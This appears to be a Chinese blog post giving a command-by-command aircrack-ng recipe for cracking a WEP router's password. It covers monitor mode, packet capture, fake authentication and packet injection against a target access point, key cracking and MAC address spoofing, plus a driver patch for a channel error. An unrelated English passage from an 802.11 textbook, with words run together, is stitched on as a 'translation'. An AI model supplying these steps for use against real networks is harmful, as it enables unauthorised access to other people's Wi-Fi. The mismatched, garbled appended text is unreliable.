interfaceX is on channel Y, but the AP uses channel Z

本文详细介绍使用aircrack-ng工具集破解WEP无线路由器密码的过程。包括启动监听模式、捕获握手包、发动攻击及密码破解等步骤,并提供解决频道问题的方法。

aircrack-ng 破解wep无线路由器密码。

Sudo airmon-ng start wlan0

Sudo airodump-ng mon0

另一个终端

Sudo airodump-ng –c 6 –bssid AP’s mac –w wep mon0

另一个终端

Sudo aireplay-ng -1 0 –e ESSID –a AP’s mac –h My Mac mon0

Sudo aireplay-ng -2 –F –p 0841 –c ff:ff:ff:ff:ff:ff –b – AP’s mac –h My Mac mon0

另一个终端

Sudo aircrak-ng wep*.cap

Sudo airmon-ng stop mon0

修改MAC地址:

Sudo ifconfig wlan0 down

Sudo ifconfig wlan0 hw ether 00:11:22:33:44:55

Sudo ifconfig wlan0 up

碰到channel不正确,实在不行就试一下以下方法吧,终端依次执行:


sudo apt-get install linux-headers-$(uname -r)
wgethttp://www.orbit-lab.org/kernel/compat-wireless-3.0-stable/v3.0/compat-wireless-3.0-2.tar.bz2
tar -jxf compat-wireless-3.0-2.tar.bz2
cd compat-wireless-3.0-2
wgethttp://patches.aircrack-ng.org/channel-negative-one-maxim.patch
sudo apt-get install patch
patch ./net/wireless/chan.c channel-negative-one-maxim.patch
make
sudo make install
sudo make unload
sudo reboot


翻译: BSS operation To control the operation of stations on an HT BSS, the AP uses the HT Operation element. To control the operation of stations on a VHT BSS, the AP uses both the HT Operation element and the VHT Operation element. These elements may be present in Beacon, Probe Response, Association Response, and Reassociation Response frames. Details on the HT Operation element and VHT Operation element can be found in Sections 12.3.2.3 and 12.3.2.8, respectively. To establish the BSS operating channels and operating channel width, the AP uses the following fields in the HT Operations element: * Primary Channel. This field gives the channel number of the primary 20MHz channel for the BSS. * Secondary Channel Offset. This field gives the offset of the secondary 20MHz channel relative to the primary 20MHz channel. * STA Channel Width. This field defines the channel widths with which HT stations may transmit. Options are 20MHz or 40MHz. In addition, for VHT operation, the AP uses the following fields in the VHT Operation element: * Channel Width. This field, together with the STA Channel Width field in the HT Operation element, defines the channel widths with which VHTstations may transmit. Options are: 20MHz, 40MHz, 80MHz, 160MHz, or 80+80MHz. * Channel Center Frequency Index 0. This field defines the center frequency for an 80MHz or 160MHz BSS. For an 80+80MHz BSS, this field defines the center frequency for the lower frequency segement. * Channel Center Frequency Index 1. For an 80+80MHz BSS, this field defines the center frequency for the upper frequency segment. The APalso provides information on the capabilities of stations that are members of the BSS or, optionally, detected operating in the same channel(s). This allows member stations to determine the level of protection required for frame sequences the station may use but for which a nearby station may not defer correctly. The fields in the HT Operation element that provide information on nearby stations for the purpose of enabling protection are the following: * HTProtection.Thisindicates the types of stations that are present as members or non members of the BSSandthus the nature of the protection required. Four categories are distinguished as listed in Table 11.1. * Non-Greenfield HT STAs Present. This indicates that there are HT stations associ ated with the BSS that are unable to receive HT Greenfield format PPDUs. When set, associated stations must protect HT Greenfield format transmissions. * L-SIG TXOPProtection Full Support. This indicates whether or not all stations on the BSS support L-SIG TXOP Protection. A station may use this to decide whether or not to use L-SIG TXOP Protection. * OBSS Non-HT STAs Present. This indicates that there may be non-HT stations present that are not members oftheBSS.Astation mayoptionallyusethis todetermine if protection is necessary for HT sequences. * RIFS Mode. The AP can directly control whether or not RIFS bursting is permitted through the RIFSModebit.StationsmayonlyuseRIFSburstingwhenthisbitissetto1. AVHTAPalwayssets this bit to 0, preventing the use of RIFS. * DSSS/CCKModein40MHz.ThisindicateswhetherornotmemberstationsoftheBSS are permitted to transmit DSSS/CCK format PPDUs during 20/40MHz BSS operation. The HT Operation element also provides information for controlling PSMP operation (see Section 10.4), phased coexistence operation (see Section 11.4) and the use of Dual Beacons to extend range. Finally, the Basic MCSSet field inthe HTOperationelementand theVHTBasicMCS Set field in the VHT Operation element provide the set of MCS values that are supported by all HTstations and VHTstations, respectively, in the BSS.
08-20
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值